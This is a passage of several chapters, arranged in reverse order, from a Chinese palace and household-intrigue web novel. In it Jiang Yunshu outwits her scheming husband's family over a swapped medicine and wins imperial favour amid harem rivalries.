“母亲!”高芝兰脸色大变,“为了母亲身体康健,便是花再多的银子我也不会含糊,可您常吃这药也知道,仁春堂的归心丸需提前半年预定,我,我是真的没有办法啊!” 老夫人黑着脸,她虽气恼,但不得不承认高芝兰说的也是事实。 抬头再看姜云舒,向来对她嘘寒问暖的姜云舒如今一副事不关己的模样,这让老夫人有种自己咬了自己舌头的沉闷感。 她搬起石头砸了自己的脚,骂不到姜云舒这里,只好气地瞪高芝兰一眼。 “那也是你办事不利!既如此,从今往后,让沈管家协助你料理沈家事务,若有重要事宜须得跟我汇报。” 沈家上下都知道,沈管家是老夫人的心腹,老夫人虽没将中馈要回来,此刻却也是将权利抓在手里了。 沈清安眉心紧蹙着,却没有出言反驳,他知道自己亲娘的脾气,如今被她抓到尾巴,若不能顺她的心,这事儿怕是完不了。 高芝兰见沈清安这态度,便是想反驳也不能张口了。 “是。” 高芝兰只能咬牙认下,余光瞥向姜云舒的方向,下意识咬住了后槽牙。 说起来,这件事是高芝兰自己作假在先,按理怪不到姜云舒头上,可不知为何,心里总有种蠢蠢欲动的敌意。 沈家老夫人本就不是出身名门,平常所用也不过一般,如今倒是叫姜云舒给她养刁了胃口,什么都要好的。 如今她倒是甩手事不关己了,凭什么! 是夜,汀兰院。 玄月高挂,春风依旧裹着寒凉往屋内钻,吹得烛心摇晃不定。 回来后,高芝兰跟沈清安又是一顿委屈,没有老夫人在,她那股子娇媚劲儿便现出来了。 “你是知道我的,从前但凡有了什么好东西,必定是先送到老夫人跟前的,这归心丸,我不是不想给老夫人用,奈何我在京城真的没有门路啊。”高芝兰红着眼睛流泪。 她没有门路,但姜云舒有,可她不管,还不是没用? 一句话,让沈清安的眉心又拧了起来。 姜云舒那股子骄傲的性子,让他莫名排斥,定国将军府已经倒了,她还有什么高高在上的资本? 既然嫁入沈家,那便是沈家妇,老夫人有任何需要,她双手奉上都是理所当然。 待他面见皇上,以封赏求得姜云舒下堂,便是她姜云舒跪爬求他的时候! 高芝兰瞧着沈清安表情变化,忍不住暗自得意,又往他怀里靠了靠。 “我未曾如实相告,母亲生气也是应该,可舒心丸也不差,我已经是将最好的拿出来了,我……” “我知道你的苦衷,不怪你。”沈清安揽着高芝兰的肩膀,安慰地拍了拍。 高芝兰感动,却还是心有不安,“姜夫人救驾有功,如今又在城门设棚施粥,我担心皇上回宫之后,她会请功,到时……” 后面的话她没有明说,意思已经再明确不过。 回京之前,沈清安承诺给她的是恢复她正室的身份,至于姜云舒,给她一个妾的身份,一来是为了堵住悠悠众口,二来,或许她还能有些用处。 如今回来之后,高芝兰明显感觉到姜云舒与她想象大不相同,他们提前规划的怕是没那么容易实现,如今姜云舒又得了赏赐,万一趁机向皇上诉苦,皇上一道圣旨,那便是沈清安也不能抵抗。 相比之下,沈清安倒是平静许多。 “不会。二郎护驾有功的封赏在于官升一级,而姜云舒则是银钱和良田便再未提及任何,由此可见,皇上并没有为她撑腰的意思,更何况……”沈清安握着她的手,“你本就是我原配发妻,我不苛待姜云舒,便不会被人诟病,皇上总不能下旨让我抛妻弃子。” 听他这样说,高氏稍稍安心了些。 “我知道,相公答应我的,总会兑现。”她靠在沈清安怀里,自顾盘算,似是想起什么,话题一转,“我刚收到消息,我们那批药已经到了凌阳,半月之后便能抵京,近日灾民涌往京城,届时城中药品定会供不应求,如今当务之急,便是先将药铺开起来。” 供不应求,药品必定涨价,正好趁此大赚一笔。 “嗯,你说得是,这两日我便选几处风水旺铺,尽快盘下来。”沈清安道。 京城不同别处,关系错综复杂,每走一步都得使银子。 “好。” 高芝应着,将头埋在沈清安胸前,遮住了一闪而过的阴暗。 药铺开起来,她在沈府的根基才会逐渐稳固,届时姜云舒还能得意到几时? 揽芳院。 刚进院子,月禾便忍不住畅出一口气。 “今晚这场狗咬狗的戏可真是精彩。”她一边说着,将茶水送到姜云舒跟前,“这高氏费尽心机争得管家大权,我倒是要看看,之后她发现沈府每年入不敷出,她还能不能笑得出来?” 姜云舒低头抿一口茶,眼底若有所思。 能用银子解决的都不是大问题,现在她更在意的是,自岩城来的那批药。 之前老夫人提及药铺,想来那批药便是高芝兰为即将落地京城的药铺准备,可那几个形似军营出身却假扮成镖师的,究竟是什么人? 总感觉,这批药材没那么简单。 正想不明白,忽然一阵风吹来,烛心跟着猛地一晃。 姜云舒抬头,就见一个黑影自窗户翻了进来。 姜云舒:“……” 好好一个国公府世子,怎么就非得热衷于翻窗户! “嘿,听说今晚沈家可热闹了!”裴钰一进来就咧着张嘴,一脸八卦地凑过来。 “是啊,可惜你来晚了。”姜云舒回一句,挑眉看他,“这么晚了跑来翻我的窗户,你最好有正经事儿!” “当然是正经事儿!” 裴钰顿时面色一正,还神秘兮兮的压低了声音,“我的人传来消息,三皇子今日傍晚派了一队锦衣侍卫出了城。” “皇上在皇陵期间,很多差事都是三皇子督办,他派兵出城有什么大惊小怪。”姜云舒不以为意。 上次六皇子遇袭之事,尚未查出结果,并没有直接证据指向三皇子,有些差事,皇上依旧交由他办。 “派兵出城是没什么奇怪,可怪就怪在,他走的是平洲方向,你忘了,之前岩城来的那批药材,便是要经过平洲。” 说话间,裴钰又往姜云舒跟前凑了凑,烛火之下,他眼中闪过精光,“你猜这批药背后,与三皇子有何牵扯?” 第33章 各有打算 “什么意思,说清楚!”老夫人神情一下子凝住。 “这次归心丸的气味和之前不同,奴婢怀疑,这药有问题。” 吉祥家里落魄前,家里做的是调香生意,她自小学习调香,嗅觉灵敏,细微的香味差别,她都能辨别。 而老夫人反应这么大,是因为她自己也有察觉。 “难怪,难怪我觉着这次的药有一股说不上来的清苦……”老夫人眉头拧起。 听老夫人这样说,吉祥又接道:“奴婢给老夫人化了三年的药,还是第一次闻着味道不一样,原本想着这药是高夫人送过来的……” 她顿了一下,上前跪在老夫人跟前。 “高夫人一片孝心,奴婢不敢质疑,只是,万事以老夫人身体为主,万一真的有差错吃坏了身子,那可是天大的事儿,奴婢不敢不报。” “难得你处处为我着想。”老夫人伸手将吉祥拉了起来,怒意升腾之间,吩咐一声,“去,你把剩下的三颗药拿过来。” 吉祥不敢耽误,紧忙将药拿了过来。 老夫人让吉祥把药打开,又取出之前用完的药盒子,若是平常,这味道的确不易被发现,但两者拿来对比,差别就出来了。 光是气味还不放心,老夫人又让吉祥用刀子片下一小块药放在水里,待药完全融化,除了黄褐色的药水,底下还留了一小片药渣子。 “高氏,好一个高氏!去,把她给我叫来!”老夫人往桌上狠狠一拍。 吉祥紧忙转身往外走,刚到门口又被老夫人叫住。 “将大郎一起叫过来!” 揽芳院。 杂乱的声音自墙院外传来,姜云舒放下手中账本,看向月禾。 “是吉祥那边?” “上次她是说要在这两日找机会的,想来现在便是了。” 月禾将端来的点心放在姜云舒面前。 自高氏从仁春堂回来,姜云舒便不着痕迹地提醒过吉祥注意老夫人的药,吉祥倒是动作快,这便揭穿了。 “不吃了,咱们看热闹去!” 姜云舒将账本一收,起身往外走。 福寿园。 还没进门,便听得老夫人带着哭腔的声音自里面传来。 “好你个高氏,连我的救命药都克扣,你好毒的心肠啊!” 老夫人第一次吃这归心丸,听陆太医提及这药曾救过太后的命,如今又是归心丸将她救醒,更是捧着当做仙丹了。 高氏竟在她大病尚未痊愈时换了她的药,那便是谋害性命! 老夫人原本面对高芝兰还算和蔼的面上瞬间带了几分仇恨,便是看向沈清安也满是怒意。 “原指望你们回来,我往后只管享清福,实想不到你们能在我救命的药上动手脚,亏我听信你们花言巧语,将中馈交给你,你却要我的命啊!” 高芝兰万万没想到会被戳穿,一时压不住心虚。 “母亲,我知道错了,我不是不想给您用好药,实属无奈之举啊!” 高芝兰一边跟老夫人解释,侧身看向沈清安,“相公,你相信我,我真的没有……” 话说一半,只听得外面丫鬟通报一声。 “老夫人,姜夫人来了!” 通报传来,已经有丫鬟掀了珠帘,姜云舒抬脚走了进来。 “姜氏……”老夫人只喊了一声,声音便哽住。 以前,哪怕是一点不痛快,她但凡跟姜云舒提,姜云舒总会找法子让她舒心,慢慢的,老夫人即便不甘心被姜云舒压着,却也养成了依赖她的习惯。 此刻也是,哪怕她维护高芝兰,哪怕她从姜云舒手里要回了中馈,她依旧觉得姜云舒就该和从前一样捧着她,供着她 “你快看看,他们竟然给我用假药,这是嫌我老婆子碍眼啊!” 老夫人本就不是出自名门的闺秀,哭起来扯着嗓子嚎。 姜云舒瞧着老夫人这回是真委屈了,那姿态可不是以往对着她时的装腔拿调,而是实打实的眼泪往外涌。 可惜,现在姜云舒没心情哄着她了。 她伸手拿过桌上开了封的药,凑近鼻尖细细闻了闻,道:“若是没猜错,这应该是滋补用的舒心丸吧。” 说话间,她看向高芝兰,见高芝兰不否认,又转向老夫人。 “其实舒心丸也不错,京城之中不少内宅夫人都在服用。” “那怎么能一样!”老夫人喝一声,“归心丸用的可是天玑山的雪灵芝,舒心丸能用这么好的材料?左右我也年纪大了,如今成了你们的累赘,哪里还有挑拣的余地?” 一句话,让姜云舒和高芝兰面上神情都变得微妙。 姜云舒微妙的是,老夫人原来什么都知道,她享受自己对她的好,心安理得地享用自己为她奉上的名贵珍品,却在沈清安回来后,选择性全都忘了。 呵,沈家这卸磨杀驴,原来是家传的。 高芝兰表情变化,是她原本引以为傲的药被老夫人嫌弃,心有不甘,奈何此刻她不敢反驳。 老夫人还在哭喊,骂过高芝兰,又转向沈清安。 老妇口中话无遮拦,甚至越说开始有粗鄙的字眼传来,沈清安的脸色越发阴沉。 “哎呀,杨大夫都说了,后面几丸用以巩固,如今看您这般气力,想来也是无碍的。” 沈清安打断老夫人。 高芝兰顿了一下,紧忙接过话来,“是啊母亲,我是带了银子去仁春堂的,可那掌柜说,归心丸已经被庆王府订走了,这事虽是我的错,可我也是无奈之举。” 说着,又转向姜云舒,“听说,母亲用的归心丸都是姜夫人准备的,想来你是有办法的。” 听她这样说,老夫人也看向姜云舒,眼中带着期望。 姜云舒亦看向老夫人,却不说话。 她的确能弄来归心丸,所以呢? 姜云舒不接话茬,也不给老夫人一个眼神。 今非昔比,如今她中馈交出去,沈家大小事可轮不着她管。 不适时宜的安静,让在场众人面上神情都略显尴尬,尤其是老夫人,似乎突然意识到她之前对姜云舒做了什么,如今又哪里来的脸跟她提要求? 老夫人拧着眉头,表情在脸上变化,好半晌,突然转向高芝兰。 “我原以为,可以信任你,才将中馈交由你掌管,你若管不好,不如将库房钥匙还给姜氏!” 第32章 都不对劲了 这一嗓子,瞬间将众人的注意力拉了过去,回头,只见一位锦衣大太监带着几个内侍公公进了门。 屋内众人面面相觑,来不及多想,紧忙迎出去接旨,就连半躺在床上的沈清睿也被小厮搀了起来。 “臣,沈清安接旨!”沈清安上前一步。 “沈大人,不是给你的。” 锦衣公公眯着眼睛瞧了沈清安一眼,随后视线越过他,看向了旁边的沈清睿。 公公的声音轻飘飘,却像带了风的大耳刮子抽在脸上,沈清安只觉得两腮酸涩,牙都疼了。 奈何对面是皇上跟前内侍,他不敢表现出任何,还得恭敬着。 随着锦衣公公扯着嗓子宣旨,众人脸上的表情再次变化,沈清睿护驾有功,晋升正六品带刀侍卫,还赏赐千两白银。 圣旨宣读结束,沈家人皆是一脸震惊地瞪大了眼睛。 沈清睿不是在姜云舒的庄园里受伤的吗?这怎么还护驾有功了? 他从哪儿护的驾? 众人尚在震惊之中没有回过神来,又见锦衣公公转向了姜云舒。 “沈夫人指挥庄园众人击退草寇,亦护驾有功,赏白银三千两,东城良田百亩。” 说话间,锦衣公公摆摆手,身后跟着的小太监便端着银两送上来。 托盘上红布掀开,一排排银光闪闪的元宝看得老夫人眼珠子都直了,此时一下子有种被人抻了舌头的感觉。 沈清睿每伤一次,就被赏赐一次,如今短短几个月,竟连续升官,这眼看着也是正六品官员了。 此刻再回想刚才对姜云舒怒气冲冲的样子,莫名有种心虚。 别说老夫人,就连沈清安那一脸的表情也是复杂纠结。 姜云舒也得了赏赐。 难不成,她去找皇上了? 一时间,沈清安的脸上多了几分说不上来的紧张。 他紧盯着姜云舒,姜云舒却依旧如往日平淡,甚至让人瞧不出喜怒。 沈清安正纠结,这时随行的太医拎着药箱上前。 “皇上有旨,派下官来为小沈大人查看伤口。” 沈清安瞬间回神,将太医往里让,“请。” 进了内屋,太医给沈清睿换了药重新包扎好,这才开口,“小沈大人身体底子好,伤口愈合情况不错。” 说着,他从随身的药箱里拿出一瓶药放在桌上,“这是生骨散,用以三日后重新换药。” 老夫人和高芝兰没什么反应,倒是沈清安面上又多了一丝惊诧。 他虽是文官,却也听说过,这生骨散是军中将领用药,军队以外极少能见到这药,皇上竟赏赐给了沈清睿。 不知为何,沈清安心里涌起一股说不清楚的感觉。 这么多年,沈家一向以他这个长子为先,他寒窗多年,一路算是顺畅,之后高中便是光耀沈家门楣,相比之下,沈清睿处处普通,一无所长。 可现在,短短三年未见,这个他本不放在眼里的弟弟,竟也身居六品之位,甚至,还在皇上面前露了脸。 说不上是嫉妒,但心里是不平衡的。 这边太医又给沈清睿开了方子,正收拾东西,却见高芝兰上前一步。 “高太医,听闻您医术高明,难得您来这一趟,可否为我家老夫人看诊一二?” 说话间,高芝兰看向老夫人,那一脸贤惠的表情,瞬间又让老夫人感动了。 瞧,这种时候,也就她高芝兰能时时刻刻想着老夫人。 老夫人一脸欣慰,然而,还没来得及过来,就见高太医将药箱子“啪”的一声扣上。 “下官在宫里当差,此时若非皇上特许,本应为娘娘熬药写方,耽误不得,老夫人身体有恙还是另请高明吧!” 说完,背起药箱子就往外走。 高太医这拒绝得半分情面都没给,一时间,让高芝兰和老夫人的笑就那么僵在脸上。 高芝兰似是受了委屈,又要说什么,却被沈清安拽了回来。 五品门第,的确没有请太医的资格。 锦衣公公匆匆而来,办完差事又带着众人匆匆而去,待他们离开,沈家众人似乎还没回过神来。 “这究竟……是怎么回事?” 好半晌,老夫人突然转向姜云舒,“你们昨晚到底做了什么?怎么就护驾了?” “老夫人还是别问的好,此事涉及皇室安危,知道多了,反而没好处。” 月光之下,姜云舒面上更添了一层朦胧的清冷。 她没有解释,反而给了众人更多的遐想。 沈清安眼神流转,思量片刻,似是突然意识到什么,问:“你可有受伤?” 说话间,他的视线凝在姜云舒身上。 这突如其来的关心,让姜云舒有些不习惯,她略显既惊讶的看沈清安一眼,似是带着一股莫名的报复感。 “多亏了有段爷,我并未伤及任何。” 她花了大力气请来的段爷,被他们赶走,如今想再请回来可是不能了。 一句话,说得沈家众人脸上的表情又添了一层尴尬。 姜云舒欣赏完他们的表情,朝月禾招招手,主仆二人端着刚到手的银子和地契,转身离开。 沈清安一时说不出话来,远远看着她们离开的背影,神情复杂纠结。 是夜,汀兰院。 高芝兰是带着一肚子憋闷回去的。 倒不是那高太医下了她的面儿没给老夫人瞧病,而是刚才沈清安面对姜云舒时的眼神,让她莫名有了一股说不上来的危机感。 这不对。 相公对那个女人本应只有厌弃嫌恶,不应该是刚才那样。 眼神流转,高芝兰似乎想起什么,让丫鬟准备了纸笔,急匆匆写了一封信,让身边小厮趁着夜黑送了出去。 福寿园。 老夫人同样睡不着觉。 她歪着身子躺在软榻上,翻来覆去。 明明期盼了三年的大儿子回来,她本应该踏实,挺起胸膛,拿出她作为一家长辈的威严,可中馈是从姜云舒手里拿回来了,这长辈的威严,却丝毫没有感觉到。 而且,自从沈清安和高芝兰回来,她这心里像是被什么抓挠着,哪儿哪儿都不对劲。 正烦躁着,吉祥将茶水端来,放下时,茶杯一晃,几滴水落在了桌上。 老夫人当即眉头一皱,“你怎么回事,最近几天都恍恍惚惚的。” “老夫人恕罪!” 吉祥慌忙下跪,咬着唇思量半晌,最后似是下定决心一般,“昨日,奴婢给您化药时,察觉这次的归心丸气味和之前不一样。” 第31章 天煞孤星 皇后常年驻守东越边境,而定国将军府又在北夷边境,双方相交极少,尤其是与姜云舒,大概也只她出嫁时花轿自皇宫抬出,才见过一面。 到底是目光敏锐,只隔着盖头见了一面,便记住了姜云舒的模样。 “罪臣之女姜云舒参见皇后娘娘。”姜云舒上前一步,屈膝跪拜。 皇后既提及定国将军府,那她此刻便是以将军府之人面见,而非沈家人。 “果然是你。” 皇后视线在姜云舒身上打量,表情并未因“罪臣之女”有所变化。 “听说,光禄寺少卿沈大人如今戴功回京,你辛苦多年,往后日子也该好了。” 都知道姜云舒自成婚后便夫妻分离,如今沈清安回京,她也算有了依靠。 这语气,听起来是长辈对小辈的关爱。 姜云舒抿了抿唇角,尚未开口,却听芷妃“哼”了一声。 “好什么呢!那沈卿可是带着原配回来的,如今云舒这孩子在京城无依无靠,怕是没了办法,这不,拿了自己陪嫁的灵参来,求我给她撑腰呢!” 一边说着,芷妃朝身边宫女摆摆手,“明日便去给皇上送个信儿,姜丫头可是从皇宫嫁出去的,若是只凭功勋就要主母让位,那便是将我皇室的脸按在地上,还请皇上斟酌!” 几句话消了皇后的探究也堵了皇后的嘴。 不光堵嘴,这话面上是护着姜云舒,可字字句句送进皇后耳朵里,便是一刀一刀往她身上戳。 毕竟,皇后这位子也是靠功勋抢来的,侧室变正妻,何尝不被人诟病? 皇后脸色当即沉了下来,却又不能发作,双手只在袖下捏起了拳头。 姜云舒听着两人对话之间绵里藏针,不由叹一口气,难怪当年爹娘坚持不让她嫁入皇室,果然如娘所说,一入后宫深似海,没一个省油的灯。 半个时辰后。 拜别芷妃,姜云舒沿着斑驳小路朝宫门走。 犹记得第一次进宫时新鲜,她一路上与兄长们嬉笑打闹,还被引路的宫人劝诫要保持仪态。 当时爹爹怎么说的来着? “我北域的孩子,都是在拼杀中长起来的,自有战场上的仪态,无需整日扭捏拘礼。” 当年的定国将军回京,可是皇上亲自迎到了崇阳门,这般殊荣,岂是区区宫规能框住? 可后来爹爹给她定了婚事,将她留在京城时,还特意请了宫里的嬷嬷来教她礼仪,父母教诲,女子应当能屈能伸,既能握得住刀枪,也能学得了端庄。 她本不喜这些谨慎端着的姿态,可她知道父母良苦用心,只为她能融入京城高门内眷生活便也认真学了。 可谁知,如今所托非良人,她恐怕不能如父母所愿,过他们为她准备好的生活了。 日暮,夕阳余晖照在路上,映红了整片宫墙,仿若阳光用尽最后一丝力气将光辉洒向大地,凄厉而倔强。 “听说了吗,渊政王府的人不日便要回京,听说这次来的是那位世子。” 偶尔有办差当值的宫人路过,一边走着,还小声议论。 “那位……喜好屠城的人间活阎王?” 两人议论间,面露惊恐,说话间,视线朝四处张望,瞧见不远处的姜云舒,紧忙闭上了嘴。 姜云舒自小耳力眼力极好,即便是他们压低了声音,依旧听得真切,尤其是“屠城”二字入耳,让她莫名有种心口沉闷的感觉。 父亲曾说,两国交战,保家卫国的前提是百姓,纵是攻城略池,将士的剑亦不能指向百姓。 什么样的人,竟会在夺取城池之后,还要对城中百姓赶尽杀绝? 渊政王府世子,谢无烬,她曾有过婚约的陌生人,虽未曾谋面,却潜意识对这个人多了几分莫名的抵触。 傍晚,夕阳斜照,似是将烦躁的白日强行归于平静。 此刻的沈府之内,却是一片哭喊哀嚎。 老夫人坐在床边,对着沈清睿一身的伤,气得直拿拐杖戳地。 “灾星,真是个天灾之星!两次与她一同在外,都是一身伤回来,让你离她远点,你还为她说话,难不成让她克死你才算罢休!” 老夫人恨铁不成钢。 之前太后入殓,是姜云舒带沈清睿去的皇陵,结果回来时那刀口差一寸就到了心脏,这次又是,他不好好在家歇着,跑去姜云舒东城城郊的庄子帮忙,结果一身伤回来。 她不是天煞的灾星又是什么! “哎呀,娘!”沈清睿脸上有伤,一张嘴扯到伤口,疼得他“嘶”的一声,闭了嘴。 “天煞孤星,天煞孤星啊!” 老夫人拍着大腿,正嚎着,就听脚步声传来,抬头,姜云舒已经到了跟前。 “老夫人在说什么星?”姜云舒开口。 老夫人没想到姜云舒会贴脸问,一时间有种被堵嘴的憋闷。 她嘴角动了动还没想好说什么,倒是沈清安先开了口。 “昨晚,是你让二郎去东城城郊庄子的?”沈清安口吻之中带着质问。 “是。”姜云舒坦然应一声,看向沈清睿,“可还好?” 沈清睿怕扯着伤口,没出声只点了点头。 “他都这样了,能好吗!”老夫人瞬间气不打一处来,“你看看,浑身都是伤,要不是跟你去庄子上帮忙,也不能这样,我可告诉你……” 她顿了一下,扭头瞧着沈清安站在她身后,似是又有了底气。 “二郎若是有个三长两短,我跟你没完!”老夫人脖子一昂。 “母亲,您别急。”高芝兰也过来,语重心长地看向姜云舒,“二郎如今到底是六品官员,晚上当值已经够累了,你怎的还使唤他干活呢。” 这话便是顺着老太太的意思,这三年在沈家不管是老夫人还是沈清睿,都是得听从她姜云舒的指挥。 沈清安是家中长子,自小便习惯了掌控全局,而姜云舒的强硬于他来说便是忌讳。 果然,沈清安的脸色当即又阴沉了几分,眉头再次拧起。 “姜云舒,这里不是你定国将军府,我沈家人也不是你姜云舒随意差遣,你……” “圣旨到——” 此时,门口一声扯着长调的唱喊将沈清安后半句断在了嗓子里。 第30章 针尖对麦芒 姜云舒也坦承,回道:“沈大人与老太太的意思,顾氏为沈家开枝散叶,又是原配发妻,这当家主母之位,自是不能动摇。” “那你又算什么?”芷妃面上不动声色,可握着杯盏的手却多了几分力气。 正妻为妾,正如当年的芷妃,她本是正妃入王府,可皇上登基,硬是封了那身负战功的骁侧妃为后,何等屈辱,何等愤怒? 姜云舒扯了扯嘴角,笑容苦涩。 “沈大人在失去发妻的情况下娶了我,这是人之常情,发妻失而复得,他富贵不弃,为人称赞,我若阻拦发妻进门,便会落得个善妒不容人的恶名,届时折腾一场,我在沈府失了人心,还惹得沈大人与老太太厌弃,甚至还会让我爹一世英名蒙尘,女子多无奈,我是否甘心并不重要。” 这个世道,无关利益时,世人多同情弱者,她阻止不了顾氏进门,就得把这可怜装到底。 而相同的遭遇,常常更容易惹人共情,此刻,芷妃眉眼之间已经染上了怒意。 “可你又如何事事无争,听说,那位刚回来,你便将管家大权也交出去了!”芷妃恨铁不成钢,没好气地嗔她。 姜云舒深吸一口气,似是委屈涌上来,声音都带了几分轻颤。 “如今沈家自是沈大人与老夫人做主,我……争与不争又有何异。”她红着眼睛。 芷妃神情一滞,不知怎的,想起当年那个意气风发的少将军和英姿飒爽的女子,眼眶亦忍不住泛红。 那般鲜衣怒马的两个人,便是在边境几十年,京城之中依旧有他们奋勇御敌的传说,偏偏生出的女儿竟是个不争气的。 “你既要做那乖顺之人,如今又来找我作甚?”芷妃看向姜云舒,她想听真话。 说了这么多,终于聊到了正题。 姜云舒抬头,视线透过窗子,看了眼小透窗下摆放的日晷,正了正神色。 “锦州水患,灾民涌向京城,我自小便随父亲镇守北域边境,曾多次遭遇水患,水患之后疫病频出,臣女提前调了一批药材过来,若信阳侯愿意接收,臣女愿以低于行价两成的价格出手。” 芷妃喝茶的动作一滞,“疫病一出,城中各类药物价格势必水涨船高,你如何愿以低于行价两成让给信阳侯府?” 信阳侯府是芷妃娘家,姜云舒这般,很明显是在讨好芷妃,但,为什么偏偏是来讨好她? 姜云舒深吸一口气,道:“其一,我虽无争,但也明白如今夫家不可托付,这批药材价值不菲,而经我手出,有关定国将军府的传言难免再次被提及。” 当初定国将军府被定罪便是倒卖兵器,军费贪污之罪。 芷妃点点头,不置可否,姜云舒便继续说。 “其二,疫病之下,人人惶恐,京城势力错综复杂,我自认为,没有能力保住这批药。” 她说着,抬头看,见芷妃等她的下文,接着道:“其三,如今示好,只望芷妃娘娘能因此念我一丝人情,或许我往后的日子尚有转机。” 说白了,便是来寻求芷妃做靠山。 这一点虽是讨好,却是最容易让芷妃接受的,毕竟,如今姜云舒在京城无依无靠,若寻求庇佑,与她娘亲有些交情的芷妃便是最佳人选。 除此之外,还有一点姜云舒并未明说,信阳侯府如今全心扶持芷妃的所生的六皇子,皇上守灵期间,六皇子若能以这批药材有所作为,定能在他夺嫡道路上有所助益。 最后缘由不可明说,但只前面三个理由,姜云舒说得这般坦承,芷妃亦没有不相信的理由。 说完,姜云舒的余光再次朝那日晷的方向瞥了一眼,垂眸,不再言语。 看时间,差不多了。 芷妃未注意她的细微神情,正思量,却听外面传来通报之声。 “皇后娘娘嫁到——” 一声通报,众人面色都有了变化。 芷妃下意识看向姜云舒,她面上是略有与此刻情景不相宜的平静,可这平静又让她说不出违和。 思绪流转的功夫,皇后已经到了门口,芷妃由嬷嬷搀扶着起身恭迎。 “参见皇后娘娘。” “参见……” “快别多礼!你身子重,安心静养才是,本宫就是不放心过来看看,这种时候无须在意过多礼节。” 皇后紧忙伸手扶住了芷妃,又朝众人摆摆手,“都起来吧!” 众人应声起身。 姜云舒也随着站在一旁。 皇后的视线在姜云舒身上扫过,又转向芷妃,“可好些了?腹中龙子可还安稳?如今皇上不在宫内,有何需求,尽管与本宫提。” 上过战场的人,便是语气柔和也总带着一股肃然的气势,这一点对于姜云舒来说,再熟悉不过。 “一切尚好,只需静养,以保生产前不再出意外。”芷妃回答的功夫,微微侧目朝四周看一眼,接着说:“不过,此刻以龙嗣为主,臣妾倒也真有一事恳求皇后娘娘恩准。” “但说无妨。”皇后应。 “这次受惊,实乃我凤栖宫中下人疏忽大义,是臣妾平日对她们太过松弛,我知皇后娘娘对宫人管束有方,为求万全,臣妾肯请皇后娘娘借我两三个做事妥帖稳重的过来,以保龙嗣出生前再无意外。”芷妃望向皇后,明亮的眸中含着一汪让人看不透的幽深。 这话出口,姜云舒低垂的面上唇角不着痕迹的勾了一下。 到底是稳坐一宫主位多年,芷妃的这一招不得不说妙哉。 后宫之中,昭阳宫和凤栖宫两大势力对抗,皇后大概就是最不希望看到芷妃这一胎平安降生的。 与其防着暗箭,不如直接握着她的剑摆上明面,如今芷妃让皇后的人过来侍奉,但凡再有问题,皇后便是第一个要被问责的。 剑走偏锋,何尝不是高明之举。 “你,这有何不可,本宫这便让欣嬷嬷挑选几个人一起过来。”皇后顿了一下,很快又恢复平常。 欣嬷嬷是皇后身边最得力的大嬷嬷,把欣嬷嬷都派过来,足以见得对芷妃的重视,当然,在此期间芷妃的一举一动便也摆放在了皇后眼皮子底下。 不过,这既是芷妃主动提的,她也自有应对。 “如此,多谢皇后娘娘。”芷妃带着受宠若惊的表情,又要行礼,再次被皇后拦下。 姜云舒瞧着两人你来我往表面一片祥和实则内心谋划算计,暗自沉了一口气。 红瓦高墙之内,即便再光鲜尊贵,亦逃不过步步为营。 压抑,窒息。 姜云舒向往的是恣意人生,而不是为了后宅琐事处处算计步步为营。 正想着,皇后注意力转到了姜云舒这里。 “你可是定国将军府家那孩子?” 第29章 她的目的 “请皇上恕罪,民女逾越了。”姜云舒原本就没想过要遮掩。 皇上垂眸瞧她,幽沉的眸中神情不辩。 “你向来聪慧敏锐,若是男儿身亦不输你那两位兄长,定国将军府一案落实,女眷赦免,你若愿意,或可入朝为官,也算在京城落下根基。” 大瑞朝虽对女子不公,却也允许强者为尊,当今皇后这尊贵的位置便是凭功勋而来,姜云舒的娘亦是巾帼女雄。 年幼时,定国将军夫妇为姜云舒遮蔽羽翼,是希望她能生活平稳无忧,可这丫头却又是个争强好斗的性子,更是继承了姜兆霖领兵布阵的天赋,这一点,姜家未曾表露,皇上却是知道的。 皇上这番话入耳,姜云舒低垂的面上微微动容,波动不过一闪而过,很快又恢复平静。 “罪臣之女,不可入朝为官,皇上若为我开了先例,后续只怕徒增烦恼,我朝骁勇武将无数,皇上自有信任之人,不缺我这一个。” “你!”皇上一时被噎了一句,恨铁不成刚地瞪了她一眼,“跟你娘一样犟!” 姜云舒不接话。 的确是犟,她定国将军府人人都犟。 皇上面带愠怒,正要再骂,此刻六皇子已经换了衣服,前来求见。 “让他进来。”皇上压下怒意,摆手。 “父皇!” 六皇子进来时,行色匆匆,等不及观察此刻气氛,掀袍跪地,“儿臣还是不放心母妃,总要回去确认母妃无虞才放心。” 芷妃这一胎怀得不平静,小月份时就数次见红,一直静养才坚持到如今,这又惊了胎气,着实更加凶险。 皇上蹙眉,思量之间,看向姜云舒。 “六皇子是你救的,你说呢?” 姜云舒:“……” 要不说他能当皇帝,三句话里两句是试探,还有一句在给人挖坑。 “草民认为,六皇子此时不宜与芷妃相见。” 姜云舒抬手朝六皇子眼眶指了指。 虽说他一直在马车里并未与黑衣人交手,但马车摇晃颠簸之间,还是撞到了眼眶,之前天黑没看出来,如今洗漱后倒是明显了。 六皇子闻言抬手摸了一下,钝痛传来,他忍不住“嘶”了一声。 姜云舒说得没错,若是让母妃知道他被截杀九死一生,怕是又要担惊受怕,不利于安胎。 “可儿臣还是不放心。”六皇子拧着眉头。 皇上不语,视线依旧在姜云舒身上,探究,审视,意有所指。 姜云舒自是明白,皇上这沉默是在等她接话。 拇指微微搓着食指关节,看气氛差不多了,这才抬起头来。 “皇上和六皇子若是信任,明早我便进宫一趟,” “嗯,此时情况复杂,你去倒也是个办法。”皇上满意地点点头。 芷妃为了养胎,几乎很少出凤栖宫,能在自己宫里惊了胎,想来身边藏了异心之人,姜云舒在京城无势力依存,不会引人注意,加之她敏锐细致,她去,或许另有收获。 姜云舒受命,垂眸之际,唇角微微勾起。 这不,进宫的理由就有了。 接了进宫腰牌和休夫圣旨,姜云舒准备离开。 “皇伯伯。”看看那圣旨,似是犹豫片刻,道:“沈清安戴功回京,这圣旨可否秘而不宣,只交由我保管?” 周边郡县多灾,沈清安到底是受用官员,皇上便是有心,亦不能在这时太过偏袒姜云舒,由此想来,她便隐瞒了沈清安骗婚之事。 皇上倒也并未追问,毕竟,如今姜云舒能以大局为重,正是他乐见其成的。 “去吧。”皇帝摆摆手。 姜云舒从内殿出来,此时,段爷也被传召进去。 停留数月,段爷的事情也该办了。 姜云舒自皇陵出来时,月禾还在门口等着。 上了马车,月禾将热茶捧过来,急切问道:“小姐,事情可是成了?” “嗯,不过,如今暂不是最佳时机。”姜云舒低头抿一口热茶,又吩咐道:“晚些回去你将灵山雪参取来,明日我要进宫。” “那可是夫人留给你日后生产时保命的!”月禾大惊。 